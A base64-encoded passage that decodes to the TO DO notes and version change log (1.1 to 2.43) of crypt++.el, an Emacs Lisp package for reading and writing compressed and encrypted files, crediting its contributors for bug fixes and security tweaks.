VT4gZm9yIHN1Z2dlc3RpbmcgdGhpcy4KOzs7Cjs7OyAqIFBlcmZvcm1pbmcgTS14IGNyeXB0LWVu Y29kZS1idWZmZXIgb3IgTS14IGNyeXB0LWVuY3J5cHQtYnVmZmVyIGFuZCB0aGVuCjs7OyAgIHNh dmluZyB0aGUgZmlsZSB3b3VsZCBwb3NzaWJseSBjYXVzZSBlcnJvcnMuICBJdCBpcyBiZXR0ZXIg dG8gdG9nZ2xlCjs7OyAgIGBjcnlwdC1lbmNvZGVkLW1vZGUnIChvciBgY3J5cHQtZW5jcnlwdGVk LW1vZGUnKSBhbmQgc2ltcGx5IHNhdmUgdGhlCjs7OyAgIGZpbGUuICBJdCBpcyBmb3IgdGhpcyBy ZWFzb24gdGhhdCBgY3J5cHQtZW5jb2RlLWJ1ZmZlcicgYW5kCjs7OyAgIGBjcnlwdC1lbmNyeXB0 LWJ1ZmZlcicgYXJlIG5vdCBpbnRlcmFjdGl2ZS4KOzs7Cjs7OyAqIHVzZSBwbGlzdHMgaW5zdGVh ZCBvZiBhbGlzdHMgcmVwbGFjaW5nIGNhbGxzIHRvIGBudGgnIHdpdGggYGdldCcKOzs7Cjs7OyAq IG1lcmdlIGVuY3J5cHRpb24gY29kZSBjb21wbGV0ZWx5IGludG8gZW5jb2RpbmcgY29kZSBtYWtp bmcgZW5jcnlwdGlvbgo7OzsgICBqdXN0IGEgc3BlY2lhbCBjYXNlIG9mIGVuY29kaW5nLgoKDAo7 OzsgQ2hhbmdlIGxvZzoKOzs7Cjs7OyAxLjEgLSBvcmlnaW5hbCB2ZXJzaW9uIG9mIGNyeXB0LmVs Cjs7OyAxLjIgLQo7OzsgICBqd3o6IHdvcmtzIHdpdGggdGFyLW1vZGUuZWwKOzs7ICAgand6OiBh cHBsaWVkIHBhdGNoIGZyb20gcGlldCwgbWVyZ2VkIHdpdGggTGF3cmVuY2UgRG9kZCdzIGd6aXAg dmVyc2lvbgo7OzsgMS4zIC0KOzs7ICAgbHJkOiBmaXhlZCBjb21wcmVzcy1tYWdpYy1yZWdleHAK Ozs7IDEuNCwgMS41LCAxLjYgLQo7OzsgICBscmQ6IHdyaXRlLWZpbGUgY29tcHJlc3NlcyBvciBn emlwcyBiYXNlZCBvbiBmaWxlIGV4dGVuc2lvbgo7OzsgMi4xIC0KOzs7ICAgbHJkOiBtZXJnZWQg d2l0aCBSb2QgV2hpdGJ5J3MgdGFibGUtZHJpdmVuIHZlcnNpb24gKG1ham9yIHVwZ3JhZGUpCjs7 OyAyLjIgLQo7OzsgICByanc6IENoYW5nZWQgZmlsZSBuYW1lIHRvIGNyeXB0KysuZWwsIHNvIGFy Y2hpZSBhbmQgbGlzcGRpciBjYW4gZmluZCBpdC4KOzs7IDIuMyAtCjs7OyAgIHJqdzogU2VwYXJh dGVkIHRoZSBob29rIGFkZGl0aW9ucyBhbmQgbWlub3IgbW9kZSBhbGlzdCBhZGRpdGlvbnMuCjs7 OyAyLjQgLQo7OzsgICByanc6IEZpeGVkIHRoZSBpbnRlcmFjdGl2ZSBmb3JtIGZvciBjcnlwdC1i dWZmZXIuCjs7OyAyLjUgLQo7OzsgICBscmQ6IGRvYyBtb2RzLCBjaGFuZ2VkIEdOVSBmcmVlIHNv ZnR3YXJlIG5vdGljZSAod2FzIG91dCBvZiBkYXRlKSwgYWRkZWQKOzs7ICAgYW5vbnltb3VzIGZ0 cCBpbmZvcm1hdGlvbgo7OzsgMi42IC0KOzs7ICAgbHJkOiBhZGRlZCBiYWNrIGluIGRlZmluaXRp b24gb2YgYGJ1ZmZlcicgaW4gZGVmdW4gY3J5cHQtYnVmZmVyIGNhdXNlZAo7OzsgICBhbiBlcnJv ciB3aGVuIHRyeWluZyB0byByZWFkIGVuY3J5cHRlZCBmaWxlOyBtb2RpZmllZCBjaGVjayBmb3Ig bWlub3IKOzs7ICAgbW9kZSBhbGlzdCBhZGRpdGlvbjsgYWRkZWQgZ3ppcCBtYWdpYyBudW1iZXIg d2FybmluZwo7OzsgMi43IC0gW3Bvc3RlZCB0byBnbnUuZW1hY3Muc291cmNlc10KOzs7ICAgbHJk OiBhZGRlZCBgVE8gRE8nIGFuZCBgS05PVyBCVUdTJyBzZWN0aW9uIHRvIGhlYWRlcgo7OzsgMi44 IC0KOzs7ICAgbHJkOiBhZGRlZCBub3RlIGFib3V0IHVwZGF0aW5nIHRvIHYgMS4yNCBvZiB0YXIt bW9kZS5lbAo7OzsgICBUaGFua3MgdG8gTWFyayBCb3JnZXMgPG1kYkBub2FhY3JkLkNvbG9yYWRv LkVEVT4KOzs7IDIuOSAtCjs7OyAgIGxyZDogbW92ZWQgcXVlcnkgYWJvdXQgYGNyeXB0LWZyZWV6 ZS12cy1mb3J0cmFuJyBvdXQgb2YgZGVmdmFyIGZvcgo7OzsgICBgY3J5cHQtZW5jb2RpbmctYWxp c3QsJyBhbiBlcnJvbmVvdXMgdmFsdWUgb2YgbmlsIHdhcyBiZWluZyBzdHVjayBpbnRvCjs7OyAg IGFsaXN0IHdoZW4gdXNlciBzZXQgYGNyeXB0LWZyZWV6ZS12cy1mb3J0cmFuJyB3YXMgbmlsLCBk b2MgbW9kLgo7OzsgICBUaGFua3MgdG8gTWFyayBCb3JnZXMgPG1kYkBub2FhY3JkLkNvbG9yYWRv LkVEVT4KOzs7IDIuMTAgLQo7OzsgICByanc6IG1vdmVkIHF1ZXJ5IGFib3V0IGBjcnlwdC1mcmVl emUtdnMtZm9ydHJhbicgYmFjayBpbnRvIGRlZnZhciBmb3IKOzs7ICAgYGNyeXB0LWVuY29kaW5n LWFsaXN0LCcgLSB1c2VkIGFwcGVuZCB0byBpZ25vcmUgdGhlIGVycm9uZW91cyBuaWwuCjs7OyAy LjExIC0KOzs7ICAgcmp3OiBmaXhlZCBhIGJ1ZyBpbiBteSBmaXggOi0oCjs7OyAyLjEyIC0KOzs7 ICAgcmp3OiBEZWZ2YXIgY3J5cHQtbWFnaWMtcmVnZXhwIGFuZCBjcnlwdC1tYWdpYy1yZWdleHAt aW52ZXJzZSBhbmQKOzs7ICAgYWxsb3cgZWl0aGVyIGEgcmVnZXhwIG9yIGFuIGVsaXNwIGV4cHJl c3Npb24uCjs7OyAgIFN1Z2dlc3RlZCBieSBGcmFuYyxvaXMgUGluYXJkIDxwaW5hcmRAaXJvLnVt b250cmVhbC5jYT4uCjs7OyAyLjEzIC0KOzs7ICAgbHJkOiBhZGRlZCBpbiBpbmZvIG9uIGxpc3Bk aXIuZWwsIGRvYyBtb2RzIGFuZCBzb21lIHB1dHRlcmluZyB3aGlsZQo7OzsgICBsb29raW5nIG92 ZXIgcmp3J3MgdiAyLjEyIG1vZHMuCjs7OyAyLjE0IC0KOzs7ICAgbHJkOiBkb2MgbW9kIC0gdHJp dmlhbCBodWg/IHN3aXRjaGVkIGBjb21wYWN0JyBhbmQgIGBnemlwJyBpbgo7OzsgICBgY3J5cHQt ZW5jb2RpbmctYWxpc3QnIC0gd2FudCBnemlwIG5lYXIgdG9wCjs7OyAyLjE1IC0KOzs7ICAgbHJk OiBhZGRlZCBpbiBMQ0QgQXJjaGl2ZSBFbnRyeSBhbmQgbW9kaWZpZWQgY29tbWVudHMgb24gdGFy LW1vZGUuZWwKOzs7ICAgc2luY2UgdGhlIHZlcnNpb24gYXQgdGhlIGVsaXNwLWFyY2hpdmUgbm93 IHdvcmtzIHdpdGggY3J5cHQrKy5lbAo7OzsgMi4xNiAtCjs7OyAgIGxyZDogcHJvdmlkZSBgY3J5 cHQnIGFzIHdlbGwgYXMgYGNyeXB0KysnIGFsbG93aW5nIHNvbWV0aGluZyBsaWtlIGBsbiAtcwo7 OzsgICBjcnlwdCsrLmVsIGNyeXB0LmVsJyB0byBiZSBtZWFuaW5nZnVsCjs7OyAgIFN1Z2dlc3Rl ZCAoYnl8YXMpIFBlciBBYnJhaGFtc2VuIDxhbWFuZGFAaWVzZC5hdWMuZGs+Cjs7OyAyLjE3IC0K Ozs7ICAgbHJkOiBjbGFyaWZpZWQgYnVnIHJlcG9ydCBwcm9jZWR1cmUsIGFkZGVkIGZhbmN5IHBz ZXVkby1ncmFwaGljcywgYWRkZWQKOzs7ICAgdG8gdGhlIGBUTyBETycgbGlzdCwgcHV0IFJDUyB0 YWdzIGluIExDRCBBcmNoaXZlIGVudHJ5Cjs7OyAyLjE4IC0gW3Bvc3RlZCB0byBnbnUuZW1hY3Mu c291cmNlc10KOzs7ICAgbHJkOiBpbmNsdWRlZCBwb2ludGVyIHRvIGVsaXNwIGFyY2hpdmUgaW4g Y3J5cHQtdmVyc2lvbiBkZXNjcmlwdGlvbiwKOzs7ICAgY2hhbmdlZCAiRGVjb2RlIGJ1ZmZlciAl cz8gIiB0byAiRGVjb2RlICVzPyAiIGluIGNyeXB0LWZpbmQtZmlsZS1ob29rCjs7OyAgIHRvIGJl IG1vcmUgZ2VuZXJhbCAobWFpbmx5IGZvciBjcnlwdC1pbnNlcnQtZmlsZSkKOzs7IDIuMTkgLQo7 OzsgICByanc6IEFkZGVkIHRoZSBjcnlwdC1jb21wYWN0LXZzLUMrKyBzd2l0Y2ggdG8gZGlzdGlu Z3Vpc2ggY29tcGFjdGVkIGFuZAo7OzsgICBDKysgZmlsZXMuCjs7OyAyLjIwIC0KOzs7ICAgbHJk OiAoMSkgbW9kaWZpZWQgaW50ZXJhY3RpdmUgZm9ybSBvZiBjcnlwdC1idWZmZXIuICgyKSBtYWRl IHNlYXJjaAo7OzsgICBjYXNlLWluc2Vuc2l0aXZlIGluIGNyeXB0LXN1Ym1pdC1yZXBvcnQuICgz KSBtb2RpZmllZCBlbmNvZGVkLW1vZGUgYW5kCjs7OyAgIGNyeXB0LW1vZGUgc28gdGhhdCBidWZm ZXItbW9kaWZpZWQgaXMgbm90IHVuY29uZGl0aW9uYWxseSBzZXQgdG8gbmlsCjs7OyAgIHdoZW4g dGhlIG1vZGUgaXMgbm90IGNoYW5nZWQuIFRoYW5rcyB0byBHZXJkIEhpbGxlYnJhbmQKOzs7ICAg PGdnaEBjcy5icm93bi5lZHU+IGZvciBzdWdnZXN0aW5nICgyKSBhbmQgKDMpLgo7OzsgMi4yMSAt Cjs7OyAgIHJqdzogQWRkZWQgYW4gZW50cnkgdG8gdGhlIFRPRE8gbGlzdCBhYm91dCB0aGUgaGF6 YXJkcyBvZiB1c2luZwo7OzsgICBjYWxsLXByb2Nlc3MtcmVnaW9uIG9uIGEgbGFyZ2UgcmVnaW9u IGFuZCBub3QgbXVjaCByb29tIGluIC90bXAKOzs7ICAgKERhdmlkIENhcmxpc2xlIDxjYXJsaXNs ZUBjb21wdXRlci1zY2llbmNlLm1hbmNoZXN0ZXIuYWMudWs+KS4KOzs7IDIuMjIgLQo7OzsgICBs cmQ6IGFsbG93IHdyaXRlLWZpbGUtaG9va3MgdG8gY29udGFpbiBmdW5jdGlvbnMgYXMgd2VsbCBh cyBsaXN0cy4KOzs7ICAgQ29udHJpYnV0ZWQgYnkgS2VuIExhcHJhZGUgPGxhcHJhZGVAdHJhbnRv ci5oYXJyaXMtYXRkLmNvbT4uCjs7OyAyLjIzIC0KOzs7ICAgbHJkOiBtYWRlIGNyeXB0LXN1Ym1p dC1yZXBvcnQgbGlzdCB2YWx1ZXMgb2YgbW9yZSB1c2VyLWRlZmluZWQgdmFyaWFibGVzCjs7OyAy LjI0IC0KOzs7ICAgbHJkOiBwYXNzIHRoZSAtcSBzd2l0Y2ggdG8gZ3ppcCB0byB0aHdhcnQgdGhl IHBvc3NpYmlsaXR5IG9mIGEgLS12ZXJib3NlCjs7OyAgIGluIHRoZSBHWklQIGVudmlyb25tZW50 IHZhcmlhYmxlCjs7OyAyLjI1IC0KOzs7ICAgbHJkOiBhZGRlZCBzb21lIG1vcmUgdG8gdGhlIFRP IERPIGxpc3QsIGNsYXJpZmllZCBzb21lIHRoaW5ncywgYWxzbwo7OzsgICB1bnRhYmlmaWVkIHRo ZSBlbnRpcmUgZmlsZSAoSSBnb3QgdGlyZWQgb2YgdGhlIGNvbnRyb2wgSSdzKQo7OzsgMi4yNiAt Cjs7OyAgIGxyZDogdXNlIHRoZSBsb25nLW5hbWVkIG9wdGlvbnMgZm9yIEdOVSB6aXAgKHNlbGYt ZG9jdW1lbnRpbmcpCjs7OyAyLjI3IC0KOzs7ICAgbHJkOiBpbmNsdWRlZCBvYnNlcnZhdGlvbiBi eSBGcmFuY29pcyBQaW5hcmQgPHBpbmFyZEBpcm8udW1vbnRyZWFsLmNhPgo7OzsgICBhbmQgd29y a2VkIG9uIHRleHQgaW4gVE8gRE8vS05PV04gQlVHUyBsaXN0Cjs7OyAyLjI4IC0KOzs7ICAgbHJk OiBhZGRlZCB0d28gbmV3IHZhcmlhYmxlcyBpbiAoY3J5cHQtc3VibWl0LXJlcG9ydCkgdG8gdGhl IGxpc3Qgc3R1Y2sKOzs7ICAgYXQgdGhlIGJvdHRvbSBvZiB0aGUgbWFpbCBtZXNzYWdlOyBjaGFu Z2VkIHRoZSBjb21tZW50cyByZWdhcmRpbmcgdGhlCjs7OyAgIHVzZXItZGVmaW5lZCB2YXJpYWJs ZXMuICBhZGRlZCBpbiBkZWZhdWx0IHZhbHVlcyBpbiB1c2VyIGRlZmluZWQKOzs7ICAgdmFyaWFi bGVzLiAgYWRkZWQgdG8gYW5kIHJlbW92ZWQgc3R1ZmYgdG8gdGhlIGBUTyBETycgbGlzdC4KOzs7 Cjs7OyAgIChlbmNvZGVkLW1vZGUpOgo7OzsgICBhZGRlZCBpbiBjb2RlIHRvIHJlbW92ZSBhbnkg YXV0by1zYXZlLWZpbGVzIHRoYXQgbWF5IGhhdmUgYmVlbiBmb3JtZWQKOzs7ICAgYmVmb3JlIGJl Y29taW5nIGFuIGVuY29kZWQgYnVmZmVyIChmb3IgZXhhbXBsZSBhIHBsYWluIGZpbGUgc2F2ZWQg dG8KOzs7ICAgZGlzayBlbmNvZGVkIGhhZCBvcnBoYW4gYXV0by1zYXZlLWZpbGVzIGxlZnQgYmVo aW5kKS4gIHR1cm5pbmcgb2ZmCjs7OyAgIGF1dG8tc2F2ZS1tb2RlIGRpc2FibGVzIHRoZSBjcmVh dGlvbiBvZiBhdXRvLXNhdmUtZmlsZXMsIGJ1dCBpdCBhbHNvCjs7OyAgIGRpc2FibGVzIHRoZSBw b3NzaWJpbGl0eSBvZiB0aGVzZSBiZWluZyByZW1vdmVkIHdoZW4gdGhlIGJ1ZmZlciBpcwo7Ozsg ICBzYXZlZC4KOzs7Cjs7OyAgIChjcnlwdC1yZWdpb24pOgo7OzsgICBub3cgY2FsbCB0aGUgZW5j cnlwdGlvbiBhbmQgZGVjcnlwdGlvbiBwcm9ncmFtIGRpcmVjdGx5IGluc3RlYWQgb2YKOzs7ICAg dGhyb3VnaCB0aGUgc2hlbGwuICB0aGlzIGlzIG1vcmUgc2VjdXJlIHNpbmNlIHRoZSBzaGVsbCB3 aWxsIGV4cG9zZSB0aGUKOzs7ICAgcGFzc3dvcmQgKGtleSkuICB0aGFua3MgdG8gSm9uIENhcmdp bGxlIDxqY2FyZ2lsbEBjcy53aXNjLmVkdT4uICBkZWZpbmVkCjs7OyAgIHR3byBuZXcgdmFyaWFi bGVzIGBjcnlwdC1kZWNyeXB0aW9uLWFyZ3MnIGFuZCBgY3J5cHQtZW5jcnlwdGlvbi1hcmdzJyB0 bwo7OzsgICB0YWtlIHRoZSBhcmd1bWVudHMgc2VwYXJhdGVseS4gIHJlbW92ZWQgKGxldCAoKG9w b2ludCkuLi4pKSBjb25zdHJ1Y3QKOzs7ICAgdGhpcyB3YXMgYSB0aHJvdyBiYWNrIHRvIHNvbWUg b2xkIGRlYWQgY29kZSBhbmQgd2FzIG5vdCBiZWluZyB1c2VkLgo7OzsgMi4yOSAtCjs7OyAgIGxy ZDogYWRkZWQgdGhyZWUgbmV3IHZhcmlhYmxlcyBpbiAoY3J5cHQtc3VibWl0LXJlcG9ydCk7IGFk ZGVkIHRvIHRoZQo7OzsgICBgVE8gRE8nIGxpc3QuCjs7Owo7OzsgICAoZW5jb2RlLXJlZ2lvbixl bmNvZGUtYnVmZmVyLGVuY29kZWQtbW9kZSk6IGZpeGVkIGludGVyYWN0aXZlIGZvcm1zIC0KOzs7 ICAgdGhlIGNvbnZlcnNpb24gdG8gdGFibGUgdmVyc2lvbiBoYWQgZWxpbWluYXRlZCBzb21lIG9m IHRoZSBpbnRlcmFjdGl2ZQo7OzsgICBmZWF0dXJlcyBvZiB0aGVzZS4gIHRoYW5rcyB0byBLaW1i YWxsIENvbGxpbnMgPGtwY0BwdG9sZW15LmFyYy5uYXNhLmdvdj4KOzs7ICAgZm9yIHBvaW50IHRo aXMgb3V0LiAgbmV3IGludGVyYWN0aXZlIGZvcm0gdXNlcyBmdW5jdGlvbnMKOzs7ICAgYGNyeXB0 LWdldC1lbmNvZGluZy10eXBlJyBhbmQgYGNyeXB0LXN5bWJvbC1hbGlzdC10by10YWJsZScgYW5k IHZhcmlhYmxlCjs7OyAgIGBjcnlwdC1kZWZhdWx0LWVuY29kaW5nJyB0byBnZW5lcmF0ZSBjb21w bGV0aW9uIGxpc3Qgb2YgZW5jb2RpbmcgdHlwZXMuCjs7Owo7OzsgICAoY3J5cHQtd3JpdGUtZmls ZS1ob29rKTogdHdvIG5ldyB1c2VyLWRlZmluZWQgdmFyaWFibGVzCjs7OyAgIGBjcnlwdC1xdWVy eS1pZi1pbnRlcmFjdGl2ZScgYW5kIGBjcnlwdC1uby1leHRlbnNpb24taW1wbGllcy1wbGFpbicg YW5kCjs7OyAgIHRoZSBidWZmZXItbG9jYWwgdmFyaWFibGUgYGJ1ZmZlci1pbnRlcmFjdGl2ZS1t b2RlJyBhcmUgdXNlZCB0byBoZWxwCjs7OyAgIGRldGVybWluZWQgd2hldGhlciBvciBub3QgcGxh aW4gb3V0cHV0IGlzIHJlYWxseSBkZXNpcmVkIGZvciBmaWxlcwo7OzsgICB3aXRob3V0IGEgY29t cHJlc3Npb24gZmlsZS1uYW1lIGV4dGVuc2lvbi4gIHRoZSBkZWZhdWx0IGJlaGF2aW9yIGlzIHRo ZQo7OzsgICBzYW1lIGFzIGJlZm9yZS4KOzs7IDIuMzAgLQo7OzsgICBscmQ6IGFkZGVkIHRlc3Qg Zm9yIHVzZXItZGVmaW5lZCB2YXJpYWJsZSBgY3J5cHQtbmV2ZXItZXZlci1kZWNyeXB0Jwo7Ozsg ICB3aGVuIGZpbmRpbmcgYSBmaWxlLiAgc29tZSB1c2VycyBtYXkgbmV2ZXIgd2lzaCB0byBkZWNy eXB0IGZpbGVzCjs7OyAgIGFuZCBsaWtlIHRvIGVkaXQgYmluYXJ5IGZpbGVzLiAgdGhhbmtzIHRv IE5lbHNvbiBNaW5hcgo7OzsgICA8bmVsc29uQHJlZWQuZWR1Pi4gIGFkZGVkIHRvIGRvYy1zdHJp bmdzIG9mCjs7OyAgIGBjcnlwdC1tYWdpYy1yZWdleHBbLWludmVyc2VdJyAtLSB0aGVzZSBjYW4g YmUgc2V0IHRvIG5pbFt0XSBhbmQKOzs7ICAgYWNjb21wbGlzaCB0aGUgc2FtZSB0aGluZyBhcyBz ZXR0aW5nIGBjcnlwdC1uZXZlci1ldmVyLWRlY3J5cHQnIHRvIHQKOzs7IDIuMzEgLQo7OzsgICBy anc6IFVwZGF0ZWQgdGhlIGNvbW1lbnRzIGluIHRoZSBlbmNyeXB0aW9uIGNoZWNrIHNlY3Rpb24u Cjs7OyAyLjMyIC0gW3Bvc3RlZCB0byBnbnUuZW1hY3Muc291cmNlc10KOzs7ICAgbHJkOiBhZGRl ZCB3YXJuaW5nIGFib3V0IGBjcnlwdC0oZGV8ZW4pY3J5cHRpb24tcHJvZ3JhbSc7IGRvYyBtb2Qu Cjs7OyAyLjMzIC0KOzs7ICAgbHJkOiBpZiBgY3J5cHQtKGRlfGVuKWNyeXB0aW9uLWFyZ3MnIGFy ZSBuaWwgdGhlbiBkb24ndCBwYXNzIGFueQo7OzsgICBhcmd1bWVudHMgdG8gKGRlfGVuKWNyeXB0 aW9uIHByb2dyYW0sIG5pbCBpcyB0aGUgZGVmYXVsdCBpbnN0ZWFkIG9mCjs7OyAgICIiLiAgVGhh bmtzIHRvIEpvZSBJbGFjcXVhIDxzcGlrZUB3b3JsZC5zdGQuY29tPiwgRGF2aWQgSi4gU2NodXIK Ozs7ICAgPGRqc0BpZG0uY29tPiwgUGV0ZXIgTnV0aCA8bnV0aEBhaS5taXQuZWR1PiwgYW5kIEdy ZWcgTGFyc29uCjs7OyAgIDxnbGFyc29uQGJuci5jYT4uICBgLXEnIGV4aXN0cyBpbiBnemlwIDEu MC4zIGJ1dCBub3QgYC0tcXVpZXQnIGNoYW5nZWQKOzs7ICAgR1pJUCBOT1RFLiAgVGhhbmtzIHRv IENocmlzIE1vb3JlIDxtb29yZUBzcmMuYmFlLmNvLnVrPi4KOzs7IDIuMzQgLQo7OzsgICBscmQ6 IGFsbG93IGBjcnlwdC0oZGV8ZW4pY3J5cHRpb24tYXJncycgdG8gYmUgYSBsaXN0IG9mIHN0cmlu Z3MgLS0gbW9yZQo7OzsgICByb2J1c3QuICBxdWVyeSBmb3IgcGFzc3dvcmQgKGtleSksIGlmIG5v bmUgaXMgc2V0LCB3aGVuIHdyaXRpbmcgb3V0IGZpbGUKOzs7ICAgZm9yIHdoaWNoIGBidWZmZXIt c2F2ZS1lbmNyeXB0ZWQnIGlzIHQuICBUaGFua3MgdG8gSm9obiBJbnRlcnJhbnRlCjs7OyAgIDxp bnRlcnJhbkB1bHVydS5TdGFuZm9yZC5FRFU+LiAgKGNyeXB0LXdyaXRlLWZpbGUtaG9vayk6IGNo ZWNrIGZpbGVuYW1lCjs7OyAgIGV4dGVuc2lvbiBhZ2FpbnN0IHJlZ2V4cCBgY3J5cHQtZW5jcnlw dGlvbi1maWxlLWV4dGVuc2lvbicgYW5kIHF1ZXJ5IGZvcgo7OzsgICBlbmNyeXB0aW9uLCB1bmxl c3MgYGNyeXB0LWF1dG8td3JpdGUtYnVmZmVyLWVuY3J5cHRlZCcgaXMgdCAoZG9uJ3QKOzs7ICAg Ym90aGVyIGRvaW5nIHJldmVyc2UgY2hlY2ssIGVuY3J5cHRlZCB0byBwbGFpbiwgbm90IGEgY29t bW9uIHJlcXVlc3QpLgo7OzsgICAoY3J5cHQtbW9kZSk6IGRlbGV0ZSBhdXRvLXNhdmUgZmlsZXMg KGNmLiwgZW5jb2RlZC1tb2RlKSwgbWF5IGV4aXN0IG5vdy4KOzs7ICAgKHJlYWQtc3RyaW5nLW5v LWVjaG8pOiBhcHBsaWVkIHBhdGNoIGZyb20gUGlldCB2YW4gT29zdHJ1bQo7OzsgICA8cGlldEBj cy5ydXUubmw+IC0tIHNldCBgY3Vyc29yLWluLWVjaG8tYXJlYScgX2FmdGVyXyBzZXR0aW5nIGJ1 ZmZlcgo7OzsgICAodGhpcyB3YXMgc2NyZXdpbmcgdXAgZ25ld3MpLgo7OzsgMi4zNSAtCjs7OyAg IGxyZDogZG9jIG1vZAo7OzsgMi4zNiAtCjs7OyAgIGxyZDogZml4ZWQgdHlwbywgYWRkZWQgUk1B SUwgbm90ZS4KOzs7IDIuMzcgLSBbcG9zdGVkIHRvIGdudS5lbWFjcy5zb3VyY2VzXQo7OzsgICBs cmQ6Cjs7OyAgIChjcnlwdC13cml0ZS1maWxlLWhvb2spOiBzZWFyY2ggdXNlci1kZWZpbmVkIGxp c3QKOzs7ICAgYGNyeXB0LWlnbm9yZWQtZmlsZW5hbWVzJyBmb3IgcG9zc2libGUgbWF0Y2ggd2l0 aCBgYnVmZmVyLWZpbGVuYW1lJwo7OzsgICBiZWZvcmUgYXR0ZW1wdGluZyBjb252ZXJzaW9uIGZy b20gY29tcHJlc3NlZCB0byBwbGFpbiBmb3JtYXQ7IHVzZWZ1bCBmb3IKOzs7ICAgY29tcHJlc3Nl ZCBpbmNvbWluZyBtYWlsIGZpbGVzIChlLmcuLCBSTUFJTCwgSU5CT1gpLgo7OzsKOzs7ICAgKGNy eXB0LW1vZGUpOiBxdWVyeSBmb3Iga2V5IGlmIG5vdCBzZXQgYWxyZWFkeTsgbmVlZCB0byBzd2l0 Y2ggb3JkZXIgb2YKOzs7ICAgcmVjb3ZlcmluZyBrZXkgYW5kIHRvZ2dsaW5nIGNyeXB0LW1vZGUg aW4gY3J5cHQtZmluZC1maWxlLWhvb2sgKHRoYW5rcwo7OzsgICB0byBQaWV0IHZhbiBPb3N0cnVt IDxwaWV0QGNzLnJ1dS5ubD4pLgo7OzsKOzs7ICAgKGNyeXB0LWJ1ZmZlcikgYW5kIChlbmNvZGUt YnVmZmVyKTogcmVtb3ZlIGludGVyYWN0aXZlIGZvcm07IHVzZQo7OzsgICAoY3J5cHQtbW9kZSkg YW5kIChlbmNvZGVkLW1vZGUpIGluc3RlYWQgc28gZW5jcnlwdGlvbiBhbmQgY29tcHJlc3Npb24K Ozs7ICAgYXJlIGRvbmUgYXQgdGhlIHZlcnkgZW5kOyBsZWF2ZSBpbnRlcmFjdGl2ZSBmb3JtIGlu IChjcnlwdC1yZWdpb24pIGFuZAo7OzsgICAoZW5jb2RlLXJlZ2lvbikgbWF5IHN0aWxsIGJlIHVz ZWQuCjs7Owo7OzsgICAoc2V0LWVuY3J5cHRpb24ta2V5KTogcmVtb3ZlIGZyb20gYGNvbW1hbmQt aGlzdG9yeScgaWYgY2FsbGVkCjs7OyAgIGludGVyYWN0aXZlbHkgLSB0aGFua3MgdG8gR2Vvcmdl IE0uIEdlb3JnaW91Cjs7OyAgIDxnZW9yZ2lvdUBzaWxpY29uLmNzY2kuY3N1c2IuZWR1Pi4KOzs7 IDIuMzggLQo7OzsgICBscmQ6IGFkZGVkIGBjcnlwdC0nIHByZWZpeCB0byBgKHJlYWQtc3RyaW5n LW5vLWVjaG8pJyBhbmQgYChzYXZlLXBvaW50KScKOzs7ICAgY2hhbmdlZCBmaWxlIGV4dGVuc2lv biBmb3IgZ3ppcCBmaWxlcyB0byBgLnonIF9vcl8gYC5neicgKGZ1dHVyZSByZWxlYXNlCjs7OyAg IG9mIGd6aXAgd2l0aCB1c2UgbGF0ZXIgZXh0ZW5zaW9uIGJ5IGRlZmF1bHQgYW5kIHNvIHRoaXMg c2hvdWxkIGJlCjs7OyAgIGNoYW5nZWQgdG8ganVzdCBgLmd6JyBzb21lZGF5KS4KOzs7IDIuMzkg LQo7OzsgICBscmQ6IGRvYyBtb2QuIGFkZGVkIGluIHBhdGNoIGZyb20gand6IC0gYChjcnlwdC1y ZWFkLXN0cmluZy1uby1lY2hvKScgaXMKOzs7ICAgbW9yZSBzZWN1cmUsIHB1dCBwcm9wZXJ0eSAn cGVybWFuZW50LWxvY2FsIG9uIGJ1ZmZlci1sb2NhbHMgd29ya3MgZm9yCjs7OyAgIEx1Y2lkIEVt YWNzIGFuZCBkb2Vzbid0IGhhcm0gdjE4IGVtYWNzLCBjaGFuZ2UgYGJ1ZmZlci1pbnRlcmFjdGl2 ZS1tb2RlJwo7OzsgICB0byBgYnVmZmVyLWludGVyYWN0aXZlLWVuY29kZWQtbW9kZS4nCjs7OyAy LjQwIC0KOzs7ICAgbHJkOiBwdXQgcHJvcGVydHkgJ3ByZXNlcnZlZCBpbiBjYXNlIGtpbGwtZml4 LmVsIGlzIGJlaW5nIHVzZWQuCjs7OyAyLjQxIC0KOzs7ICAgbHJkOiBhbGwgZnVuY3Rpb25zIGFu ZCB2YXJpYWJsZXMgbm93IHN0YXJ0IHdpdGggYGNyeXB0LScsIG1vdmVkIFJFVklTSU9OCjs7OyAg IEhJU1RPUlkgdG8gYm90dG9tIG9mIGhlYWRlciwgaW50ZXJhY3RpdmUgdmVyc2lvbiBvZgo7Ozsg ICBgKGNyeXB0LWVuY3J5cHQtcmVnaW9uKScgY2xlYXJlciwgYChjcnlwdC1yZWFkLXN0cmluZy1u by1lY2hvKScgbm93Cjs7OyAgIGVjaG9zIGAuJwo7OzsgMi40MiAtCjs7OyAgIGxyZDogKGNyeXB0 LWNoZWNrLWV4dGVuc2lvbi1mb3ItZW5jb2RpbmcpOiBicm9rZSBvdXQgb2YKOzs7ICAgYChjcnlw dC13cml0ZS1maWxlLWhvb2spJy4gIHNldHRpbmcgdXNlciB2YXJpYWJsZXMKOzs7ICAgYGNyeXB0 LWNvbXBhY3QtdnMtQysrJyBhbmQgYGNyeXB0LWZyZWV6ZS12cy1mb3J0cmFuJyB0byBuaWwgbm8g bG9uZ2VyCjs7OyAgIGNvbXBsZXRlbHkgZGlzYWJsZXMgdGhlIHJlYWRpbmcgY29tcGFjdCdlZCBh bmQgZnJvemVuIGZpbGVzIGJ1dCBqdXN0Cjs7OyAgIGRpc2FibGVzIHRoZSB1c2Ugb2YgdGhlIGZp bGUtZXh0ZW5zaW9uIHRyaWNrcyBvZgo7OzsgICBgKGNyeXB0LWNoZWNrLWV4dGVuc2lvbi1mb3It ZW5jb2RpbmcpLicgIChjcnlwdC1lbmNvZGUtcmVnaW9uKTogYWxsb3cKOzs7ICAgZm9yIGEgc2lu Z2xlIGxpbmUgbWVzc2FnZSBmcm9tIGVuY29kaW5nIHByb2dyYW0gYXQgdG9wIG9mIHJlZ2lvbjsg aWYgaXQKOzs7ICAgaXMgdGhlcmUsIHRoZW4gcmVtb3ZlIGl0OyBrbHVkZ2UgZm9yIGBjb21wYWN0 JyBwcm9ncmFtLgo7OzsgMi40MyAtCjs7OyAgIGxyZDogKGNyeXB0LWVuY29kZS1yZWdpb24pOiBn ZW5lcmFsaXplIHRoZSBjbGVhbiB1cCBwcm9jZWR1cmU7IGFkZAo7OzsgICBlbGVtZW50IHRvIGBj 